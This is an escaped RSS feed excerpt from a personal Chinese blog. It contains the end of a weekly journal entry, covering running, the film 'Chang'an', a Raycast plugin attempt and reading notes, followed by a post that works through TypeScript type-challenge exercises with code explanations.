&lt;p&gt;其实也写了很多随笔，可能当时写下来的时候没什么，觉得这些杂念，自己肯定会经常记得的，不写也没事，感谢自己幸好写下来了，让我能够回忆起来&lt;/p&gt;
&lt;p&gt;我想在博客的周报中尽可能真实的表达自我，记录我心中的感受，不管这是乐观的或者是丧的，或者是愤怒的&lt;/p&gt;
&lt;p&gt;只为了某一天，当我重新回过头来看看的时候，能了解到当时的那个人，是怎样生活的&lt;/p&gt;
&lt;p&gt;人生如逆旅，我亦是行人，但我希望能在逆旅中能留下更多的痕迹&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeiccfukwhsxiexkmdufjqfgk2rgc6oi63326od3tfqox46qiqlnudi.jpeg&quot; alt=&quot;neom-t3dlLOhdEzs-unsplash&quot; /&gt;&lt;/p&gt;
&lt;p&gt;🏃🏻‍♀️跑步&lt;/p&gt;
&lt;p&gt;上周日写完周报就去跑步了，久违了！（实际上是有个活动，而我因为拖延症拖到最后一天才开始跑😓&lt;/p&gt;
&lt;p&gt;好久没跑十公里了，累的不行，中间几次都跑不下去只能慢慢走了😭&lt;/p&gt;
&lt;p&gt;但我还是很喜欢这种感觉，有着一个明确的目标，和自己比拼，挑战耐力的极限，享受这种放空的感觉&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreicnog4g2ufxjc6sxwgfqud6d3biic5mc2qibfvvwu46uz2arj6oje.jpeg&quot; alt=&quot;IMG_4978&quot; /&gt;&lt;/p&gt;
&lt;p&gt;🎬 长安三万里&lt;/p&gt;
&lt;p&gt;终于去看了《长安三万里》，接近3个小时的观影体验，没有任何遗憾了，彻底填满了我对这段历史的所有幻想&lt;/p&gt;
&lt;p&gt;剧情安排上我感觉有点像《看不见的客人》，都是靠一个人的讲述，并且会不断提示你时间不够了，结尾自然是迎来了一个反转&lt;/p&gt;
&lt;p&gt;但我真正的感悟还不在这，当我离开电影院，在地铁上，总觉得有一些东西非写不可，于是写下了这段文字：&lt;/p&gt;
&lt;p&gt;《长安三万里》
电影的第一个视角便是一只老鹰，《刺客信条 长安》实锤了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreibjt2z3mnrb6h7ln4ryx7slz7orc7q67cmqctlajfpkkcp2ptvb7q.jpeg&quot; alt=&quot;DraggedImage&quot; /&gt;&lt;/p&gt;
&lt;p&gt;你要写李白，就不能只写李白，要写高适和他相知，要写李林甫妒忌他，要写杜甫崇拜他，要写郭子仪感恩他，要写玄宗不待见他。&lt;/p&gt;
&lt;p&gt;我很喜欢从高适的这个视角来看李白的一生：&lt;/p&gt;
&lt;p&gt;杜甫太小，更多的是偶像崇拜
贺知章太老，大鹏折翅，无力背负青天
王维太冷，世俗虽喧嚣，热血早已凉透&lt;/p&gt;
&lt;p&gt;李白的一生，真真硬照出了蒋捷的《听雨》：少年听雨歌楼上，红烛昏罗帐…&lt;/p&gt;
&lt;p&gt;可当你第一次知道刀不止能做美味佳肴，雄伟如黄鹤楼，也会坍塌，二十四桥，也终将被叛军的兵锋给刺穿。千金博得一笑，终是个笑话&lt;/p&gt;
&lt;p&gt;这江南的水，太柔；这塞北的雪，太冷&lt;/p&gt;
&lt;p&gt;高适是幸运的，有太多的人，终老一生等不来那个机会&lt;/p&gt;
&lt;p&gt;柳永，等不来那个机会，穷困潦倒中，奉旨填词
杜甫，等不来那个机会，成都草堂里，茅庐悲鸣
陆游，等不来那个机会，铁马冰河梦，身老沧州&lt;/p&gt;
&lt;p&gt;高适，终迎来了他的那个机会。玉在椟中求善价，枪横马鞍待时挥&lt;/p&gt;
&lt;p&gt;赵客缦胡缨 吴钩霜雪明。 银鞍照白马 飒沓如流星。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreig55s67lgtkt22wn2372xun67rqc7d4gy6xqsfl4b4fb5ed4smg7y.jpeg&quot; alt=&quot;DraggedImage-1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;👀 QTX展览&lt;/p&gt;
&lt;p&gt;主要是好奇，并不太喜欢盲盒、潮玩这些玩意，但还是想去看看😃&lt;/p&gt;
&lt;p&gt;并没有拍多少，重点都在薅羊毛了（因为只要关注或者发一篇小红书笔记就能获得礼品，如编织袋、明信片、小玩意之类的&lt;/p&gt;
&lt;p&gt;随便放两张我挺喜欢的，不过都买不起了😅&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeig3u5cn3ujrdgfenaggkp3phrbray6uja7dmhvr4357ncdtl3tegy.jpeg&quot; alt=&quot;IMG_4924&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeibg6wjmq4snrwzwd2f4phtr4gwnknkga3jjsbouwe4xrsgf5ffchm.jpeg&quot; alt=&quot;IMG_4925&quot; /&gt;&lt;/p&gt;
&lt;p&gt;☕️ AGI茶话会&lt;/p&gt;
&lt;p&gt;简单和读书会的小伙伴们聊了聊关于AGI的一些探讨，发现大佬们准备的好充分啊瑟瑟发抖，而且自己的视野、思考范围也确实有点窄了，比如很多GPT相关的应用我实际也没有去主动思考和发现😑&lt;/p&gt;
&lt;p&gt;有几个收获及思考点：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;如果未来GPT代表的人工智能真正超过了人类，是否能完成 “心理史学”预测个人行为？&lt;/li&gt;
&lt;li&gt;有没有一个类似“图灵测试”能区分真正的人工智能（其实要看这个问题怎么定义了）&lt;/li&gt;
&lt;li&gt;GPT去除掉限制后，为什么推理能力还会上升？&lt;a href=&quot;https://mp.weixin.qq.com/s/BI-QB2Jf2dtUpTeqNK9QvA&quot;&gt;https://mp.weixin.qq.com/s/BI-QB2Jf2dtUpTeqNK9QvA&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;多模态的输入是否能让GPT真正地触景生情？&lt;/li&gt;
&lt;li&gt;GPT的创新能力真的比人类要强吗，是否具有从现实生活中抽象问题，并从零开始建立学科的能力？&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;⚙️ Raycast&lt;/p&gt;
&lt;p&gt;Raycast很早就开始关注了，但我一直没有当做主力工具来使用，最到最近 &lt;code&gt;paste&lt;/code&gt; 这个剪贴板管理工具老是自动闪退，于是不得已开始将 Raycast 当做启动器了&lt;/p&gt;
&lt;p&gt;Raycast的颜值还是很棒的，插件的生态也很完善，后面也想写一篇Raycast效率上的使用（又开始挖坑了🤣&lt;/p&gt;
&lt;p&gt;我最开始是想尝试一下 pinboard 插件的，但是很快就发现了一个问题：不能自动补全已有的标签，于是就想着我也来捣鼓下插件开发&lt;/p&gt;
&lt;p&gt;不得不说Raycast的文档还是很棒的，插件开发也挺简单的，编译本地调试很顺畅
&lt;a href=&quot;https://developers.raycast.com/api-reference/user-interface/form&quot;&gt;https://developers.raycast.com/api-reference/user-interface/form&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;不过我翻了半天文档，愣是找到我想实现的功能🫠（怪不插件作者没有做&lt;/p&gt;
&lt;p&gt;有个办法就是提供下拉列表（但这样一来就无法新增插件了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;Form.TagPicker id=&quot;tags&quot; title=&quot;Tags&quot;&amp;gt;
        {tags.map((tag) =&amp;gt; (
          &amp;lt;Form.TagPicker.Item key={tag} value={tag} title={tag} /&amp;gt;
        ))}
&amp;lt;/Form.TagPicker&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;先提了个issue， &lt;a href=&quot;https://github.com/raycast/extensions/issues/7709&quot;&gt;https://github.com/raycast/extensions/issues/7709&lt;/a&gt;期待有没有解决办法了&lt;/p&gt;
&lt;p&gt;💭 休息与思考&lt;/p&gt;
&lt;p&gt;重读了好几遍randy去泰国冥想的文章，&lt;a href=&quot;https://lutaonan.com/blog/7-days-meditation/&quot;&gt;https://lutaonan.com/blog/7-days-meditation/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;其实我也有这种感觉，当我放下手头的事情，去做一点点体力劳动的时候，譬如手洗衣服，譬如扫扫地，我总能在这种劳作中，感受到一种来自心灵的放松，同时也会获得一些新的想法&lt;/p&gt;
&lt;p&gt;这个真的很有用，可惜的是，。我有时候太懒了坚持不下来，比如这段感悟我就无法坚持写完了🐧&lt;/p&gt;
&lt;p&gt;📺 追剧 &amp;amp; 📖阅读&lt;/p&gt;
&lt;p&gt;《欢迎来到王之国》，虽然明知道是一部霸总的剧，但耐不住男女主都太tm好看了~，就我前两集的观看体验来说，比国产的玛丽苏、霸总剧要好多了，人物也不是面瘫（至少眼睛里还是有话的），好几个场景笑的在床上抽筋哈哈哈哈&lt;/p&gt;
&lt;p&gt;《弃长安》刚巧这周开始看这本书，对于开元盛世-安史之乱这段历史又有了新的理解，如李林甫虽口蜜腹剑，但毕竟维持了16年盛世，如为坚固守睢阳，保全江淮，被迫食人肉的张巡，太多太多，历史翻过一页，也就翻过了无数人的一生&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreicrn476g4osi2ma25wudiz4eywykmgyv5yyr5q4mlwzjwh4zjozru.jpeg&quot; alt=&quot;DraggedImage-2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;📮 Newsletter&lt;/p&gt;
&lt;p&gt;以后所有的记录就都会自动同步到个人频道啦, &lt;a href=&quot;https://t.me/RayeJourney&quot;&gt;https://t.me/RayeJourney&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;不过也会摘录一些放在博客里：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV1Xx4y1d7CC&quot;&gt;https://www.bilibili.com/video/BV1Xx4y1d7CC&lt;/a&gt; 《长安三万里》作文满分了属于是&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://book.douban.com/subject/36328704/&quot;&gt;https://book.douban.com/subject/36328704/&lt;/a&gt;《太白金星有点烦》马伯庸的新作了，微信读书还没上架但很值得看&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=B1J6Ou4q8vE&quot;&gt;https://www.youtube.com/watch?v=B1J6Ou4q8vE&lt;/a&gt;《火柴人大战数学》，看的我热血沸腾！&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/61292150/breaking-down-a-batch-in-pytorch-leads-to-different-results-why&quot;&gt;https://stackoverflow.com/questions/61292150/breaking-down-a-batch-in-pytorch-leads-to-different-results-why&lt;/a&gt; 这个问题有点意思，pytorch的linear底层实现做了一点优化，导致出现不同batch计算出的结果反而不一样&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.justgoidea.com/2023-049&quot;&gt;https://www.justgoidea.com/2023-049&lt;/a&gt; 构建自己的lifeos管理系统，很值得思考&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://run.chensoul.com/&quot;&gt;https://run.chensoul.com/&lt;/a&gt; 可以用开源的页面去搭建这样一个跑步呈现网站，感觉很棒！&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>TS挑战记录(一)</title><link>https://rayepeng.net/posts/ts%E6%8C%91%E6%88%98%E8%AE%B0%E5%BD%95%E4%B8%80/</link><guid isPermaLink="true">https://rayepeng.net/posts/ts%E6%8C%91%E6%88%98%E8%AE%B0%E5%BD%95%E4%B8%80/</guid><pubDate>Sat, 29 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;TS挑战记录(一)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeietch6wboqulomckko6fqwhyi735lbkohkug2brqzxupzmvt4r5t4.jpeg&quot; alt=&quot;vipul-jha-a4X1cdC1QAc-unsplash&quot; /&gt;&lt;/p&gt;
&lt;p&gt;TS挑战记录(一)&lt;/p&gt;
&lt;p&gt;题目记录在这里： &lt;a href=&quot;https://github.com/type-challenges/type-challenges/blob/main/README.md&quot;&gt;https://github.com/type-challenges/type-challenges/blob/main/README.md&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这个挑战主要是让挑战者更好的了解TS的类型系统，通过 &lt;code&gt;type&lt;/code&gt; 这个语法来实现TS中的各种功能，感觉还挺有意思的！&lt;/p&gt;
&lt;p&gt;同是&lt;code&gt;type&lt;/code&gt;是一个图灵完备的系统？也就是可以实现类似&lt;code&gt;C++&lt;/code&gt;template的元编程？🤔有空可以好好研究下：
&lt;a href=&quot;https://github.com/microsoft/TypeScript/issues/14833&quot;&gt;https://github.com/microsoft/TypeScript/issues/14833&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Hello World挑战：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// expected to be string
type HelloWorld = any

// you should make this work
type test = Expect&amp;lt;Equal&amp;lt;HelloWorld, string&amp;gt;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第一个示例主要是展示 &lt;code&gt;type&lt;/code&gt; 的用法，答案：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type HelloWorld = string
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;既然这题题目本质上都是为了让你给理解type的用法，那先记录下学习type的一些笔记，不然后面的题目真的看不懂了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;type的主要用法&lt;/p&gt;
&lt;p&gt;这里先总结一下 type 的主要用法，防止后面的代码看不懂（其实我就是先做题再反过去学type关键字的😅）&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;基本类型别名&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;type Word = string;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个很好理解，自定义一个类型 &lt;code&gt;Word&lt;/code&gt; ，用来替代 &lt;code&gt;string&lt;/code&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;联合类型&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;type StringOrNumber = string | number;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里开始复杂起来了，不过可以理解为一个 &lt;code&gt;union&lt;/code&gt; ，通过 &lt;code&gt;StringOrNumber&lt;/code&gt;  可以声明 string 或者 number 类型的变量&lt;/p&gt;
&lt;p&gt;注意这里的类型也可以是字面量类型，如&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type ABC = &quot;A&quot; | &quot;B&quot; | &quot;C&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这就表明ABC类型的变量值只能是 &lt;code&gt;&quot;A&quot;,&quot;B&quot;,&quot;C&quot;&lt;/code&gt; 这三者之一&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;交叉类型&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;type Named = { name: string };
type Aged = { age: number };
type Person = Named &amp;amp; Aged;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果要使用该交叉类型，则&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let person: Person = {
    name: &apos;Alice&apos;,
    age: 30
};
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;typeof &amp;amp;&amp;amp; keyof&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;typeof&lt;/code&gt; 是获取一个变量或值的类型，有点类似&lt;code&gt;C++&lt;/code&gt; 的type，但是用途更广泛&lt;/p&gt;
&lt;p&gt;比如对一个函数使用 &lt;code&gt;typeof&lt;/code&gt; 操作符，可以获得函数对应的类型，有点类似 &lt;code&gt;C++&lt;/code&gt; auto自动推导&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const foo = (arg1: string, arg2: number): void =&amp;gt; {}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过 &lt;code&gt;typeof&lt;/code&gt; 来定义参数类型&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const bar = (f: typeof foo) =&amp;gt; {
  f(&quot;Hello&quot;, 42);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;keyof&lt;/code&gt; 则是获取一个类型的所有键名，如下示例&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Person {
  name: string;
  age: number;
}

type K = keyof Person;  // &quot;name&quot; | &quot;age&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;extends&lt;/p&gt;
&lt;p&gt;extends 主要用于判断给定的泛型变量是否可以赋值给指定的类型&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;T extends U ? X : Y
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;当然，后续你会发现 extends 有很多神奇的用法 🤣&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;in&lt;/p&gt;
&lt;p&gt;TS的in运算符除了常用法外，还可以用于遍历类型，可以作为元编程，举例如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Keys = &apos;a&apos; | &apos;b&apos;

type MyMap&amp;lt;T&amp;gt; = {
  [K in Keys]: T
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Keys 代表表示可以是 &lt;code&gt;&apos;a&apos;&lt;/code&gt; 或者 &lt;code&gt;&apos;b&apos;&lt;/code&gt; 这两种字面量类型&lt;/p&gt;
&lt;p&gt;K in Keys则可以遍历这两种类型&lt;/p&gt;
&lt;p&gt;最后的 &lt;code&gt;MyMap&lt;/code&gt; 结构你可以理解成这样的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
	a: T, // &apos;a&apos; 类型，其实key必须是a
	b: T // &apos;b&apos; 类型，其实key必须是b
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;infer&lt;/p&gt;
&lt;p&gt;infer的作用就是可以放在一个地方，用来指定推断出的类型（我反正这么理解的&lt;/p&gt;
&lt;p&gt;看一个简单的示例：&lt;/p&gt;
&lt;p&gt;这里我们用 &lt;code&gt;(...args: any) =&amp;gt; infer R&lt;/code&gt; 这里是一个函数的形式，想象 &lt;code&gt;infer R&lt;/code&gt; 是一个整体，其实代表的是箭头函数的返回值，那么 &lt;code&gt;infer R&lt;/code&gt; 自然就等于是返回值类型了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type ReturnType&amp;lt;T&amp;gt; = T extends (...args: any) =&amp;gt; infer R ? R : any;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用示例：可以看到 &lt;code&gt;ReturnType&lt;/code&gt; 推断除了 R 是 &lt;code&gt;string&lt;/code&gt; 类型&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type T = (a: number) =&amp;gt; string
type R = ReturnType&amp;lt;T&amp;gt; // string
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;补充完这些知识之后，就可以开始做题了 😉&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;实现MyPick&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;interface Todo {
  title: string
  description: string
  completed: boolean
}

type TodoPreview = MyPick&amp;lt;Todo, &apos;title&apos; | &apos;completed&apos;&amp;gt;

const todo: TodoPreview = {
    title: &apos;Clean room&apos;,
    completed: false,
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过 &lt;code&gt;keyof&lt;/code&gt; 可以获取类型的所有属性组成的字面量联合类型，然后通过in遍历即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type MyPick&amp;lt;T, K extends keyof T&amp;gt; = {
  [P in K]: T[P];
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;实现 MyReadonly&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;interface Todo {
  title: string
  description: string
}

const todo: MyReadonly&amp;lt;Todo&amp;gt; = {
  title: &quot;Hey&quot;,
  description: &quot;foobar&quot;
}

todo.title = &quot;Hello&quot; // Error: cannot reassign a readonly property
todo.description = &quot;barFoo&quot; // Error: cannot reassign a readonly property
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;给属性加上 &lt;code&gt;readonly&lt;/code&gt; 即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type MyReadonly&amp;lt;T&amp;gt; = {
	readonly [P in keyof T]: T[P];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tuple to Object&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const tuple = [&apos;tesla&apos;, &apos;model 3&apos;, &apos;model X&apos;, &apos;model Y&apos;] as const

type result = TupleToObject&amp;lt;typeof tuple&amp;gt; // expected { &apos;tesla&apos;: &apos;tesla&apos;, &apos;model 3&apos;: &apos;model 3&apos;, &apos;model X&apos;: &apos;model X&apos;, &apos;model Y&apos;: &apos;model Y&apos;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个想法倒是不难，但是没想全，直接看答案了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type TupleToObject&amp;lt;T extends readonly (keyof any)[]&amp;gt; = {
  [K in T[number]]: K;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有一些关键部分要解释下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;keyof any&lt;/code&gt; 其实就是所有能表述的枚举类型，即 &lt;code&gt;string | number | symbol&lt;/code&gt; ，因为 &lt;code&gt;any&lt;/code&gt; 类型就是这三种 🤣&lt;/li&gt;
&lt;li&gt;&lt;code&gt;readonly (keysof any)[]&lt;/code&gt; 表示所有只读的 &lt;code&gt;(string | number | symbol)[]&lt;/code&gt;，即混合类型的数组&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[K in T[number]]&lt;/code&gt; 这里就是用 number 来表示数字字面量&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;这里为什么要用 &lt;code&gt;readonly (keyof any)[]&lt;/code&gt; ？，而不是 &lt;code&gt;readonly any[]&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;因为最后我们的呢结果是一个Object，而JS中Object的key只能是 &lt;code&gt;string&lt;/code&gt;, &lt;code&gt;number&lt;/code&gt; 和 &lt;code&gt;symbol&lt;/code&gt; ，如果这里改成 &lt;code&gt;T extends readonly any[]&lt;/code&gt;, 那么就可能导致 &lt;code&gt;undefined, boolean, null&lt;/code&gt; 这样的值成为key从而报错&lt;/p&gt;
&lt;p&gt;另外一个比较难理解的就是 &lt;code&gt;T[number]&lt;/code&gt; ，这个看个示例就懂了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Person = {
  name: string;
  age: number;
};

type PersonName = Person[&quot;name&quot;];  // PersonName 将得到 &quot;string&quot; 类型
type PersonAge = Person[&quot;age&quot;];  // PersonAge 将得到 &quot;number&quot; 类型
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以理解为通过 &lt;code&gt;T[K]&lt;/code&gt; 的语法获得对应的 value 类型&lt;/p&gt;
&lt;p&gt;依次类推：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type ArrayType = string[];

type ElementType = ArrayType[number];  // ElementType 将得到 &quot;string&quot; 类型

type TupleType = [string, number, boolean];

type TupleFirstElementType = TupleType[0];  // TupleFirstElementType 将得到 &quot;string&quot; 类型
type TupleSecondElementType = TupleType[1];  // TupleSecondElementType 将得到 &quot;number&quot; 类型
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么答案中的 &lt;code&gt;T[number]&lt;/code&gt; 即表示数组中每个元素的类型，再通过 &lt;code&gt;K in T[number]&lt;/code&gt; 即可获得每一个类型&lt;/p&gt;
&lt;p&gt;First of Array&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type arr1 = [&apos;a&apos;, &apos;b&apos;, &apos;c&apos;]
type arr2 = [3, 2, 1]

type head1 = First&amp;lt;arr1&amp;gt; // expected to be &apos;a&apos;
type head2 = First&amp;lt;arr2&amp;gt; // expected to be 3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这题的思路因为要求数组第一个元素的类型，数组的元素类型可以是任意的（没有必须作为Object Key的限制）&lt;/p&gt;
&lt;p&gt;如果直接取第一个元素&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type First&amp;lt;T extends any[]&amp;gt; = T[0]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是这里要判断数组是否为空，有两种判断方法&lt;/p&gt;
&lt;p&gt;最简单的当然是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type First&amp;lt;T extends any[]&amp;gt; = T extends [] ? never : T[0]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是TS的类型，还可以当做值一样去运算，比如我们计算 &lt;code&gt;T[&apos;length&apos;]&lt;/code&gt; 也是可以的，因此&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type First&amp;lt;extends any[]&amp;gt; = T[&apos;length&apos;] extends 0 ? never : T[0]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还有一种思路就是：把数组做分解，想不出来😓&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type First&amp;lt;T extends any[]&amp;gt; = T extends [infer A, ...infer rest] ? A : never
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Length of Tuple&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type tesla = [&apos;tesla&apos;, &apos;model 3&apos;, &apos;model X&apos;, &apos;model Y&apos;]
type spaceX = [&apos;FALCON 9&apos;, &apos;FALCON HEAVY&apos;, &apos;DRAGON&apos;, &apos;STARSHIP&apos;, &apos;HUMAN SPACEFLIGHT&apos;]

type teslaLength = Length&amp;lt;tesla&amp;gt;  // expected 4
type spaceXLength = Length&amp;lt;spaceX&amp;gt; // expected 5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个直接取 &lt;code&gt;length&lt;/code&gt; 属性即可，但也可以不&lt;code&gt;readonly&lt;/code&gt;的，猜测是怕影响到原有的数组刻意加的吧&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Length&amp;lt;T extends readonly any[]&amp;gt; =  T[&apos;length&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Exclude&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Result = MyExclude&amp;lt;&apos;a&apos; | &apos;b&apos; | &apos;c&apos;, &apos;a&apos;&amp;gt; // &apos;b&apos; | &apos;c&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个应该是最难理解的了，答案是这个：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type MyExclude&amp;lt;T, U&amp;gt; =  T extends U ? never : T;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;明明 &lt;code&gt;extends&lt;/code&gt; 只是判断 T 是否能被赋值为 U 类型，&lt;/p&gt;
&lt;p&gt;但是实际这里的执行过程为&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&apos;a&apos; extends &apos;a&apos; ? never : &apos;a&apos;&lt;/code&gt;，返回 never&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&apos;b&apos; extends &apos;a&apos; ? never : &apos;b&apos;&lt;/code&gt;，返回&lt;code&gt;&apos;b&apos;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&apos;c&apos; extends &apos;a&apos; ? never : &apos;c&apos;&lt;/code&gt;，返回 &lt;code&gt;&apos;c&apos;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;最后结果拼接，自然返回就是 &lt;code&gt;&apos;b&apos; | &apos;c&apos;&lt;/code&gt; 了&lt;/p&gt;
&lt;p&gt;参考这篇
&lt;a href=&quot;https://www.typescriptlang.org/docs/handbook/2/conditional-types.htmldistributive-conditional-types&quot;&gt;https://www.typescriptlang.org/docs/handbook/2/conditional-types.htmldistributive-conditional-types&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Awaited&lt;/p&gt;
&lt;p&gt;这个也是很难理解的🫠&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type ExampleType = Promise&amp;lt;string&amp;gt;

type Result = MyAwaited&amp;lt;ExampleType&amp;gt; // string
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;刚开始看不是很简单吗，我直接&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type MyAwaited&amp;lt;T&amp;gt; = T extends Promise&amp;lt;infer U&amp;gt; ? U : never;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;但是你有没有考虑到&lt;code&gt;Promise&lt;/code&gt;里面可能嵌套了 &lt;code&gt;Promise&lt;/code&gt; 呢？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;那就改进下：（对你没看错type居然还支持递归）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type MyAwaited&amp;lt;T extends Promise&amp;lt;any&amp;gt;&amp;gt; = T extends Promise&amp;lt;infer U&amp;gt;
  ? U extends Promise&amp;lt;any&amp;gt;
    ? MyAwaited&amp;lt;U&amp;gt;
    : U
  : never;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;理论上这样应该就可以了吧，但是我看了点赞最多的一个答案如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Thenable&amp;lt;T&amp;gt; = {
  then: (onfulfilled: (arg: T) =&amp;gt; unknown) =&amp;gt; unknown;
}

type MyAwaited&amp;lt;T extends Thenable&amp;lt;any&amp;gt; | Promise&amp;lt;any&amp;gt;&amp;gt; = T extends Promise&amp;lt;infer Inner&amp;gt;
? Inner extends Promise&amp;lt;any&amp;gt; ? MyAwaited&amp;lt;Inner&amp;gt; : Inner
: T extends Thenable&amp;lt;infer U&amp;gt; ? U : false
&lt;/code&gt;&lt;/pre&gt;
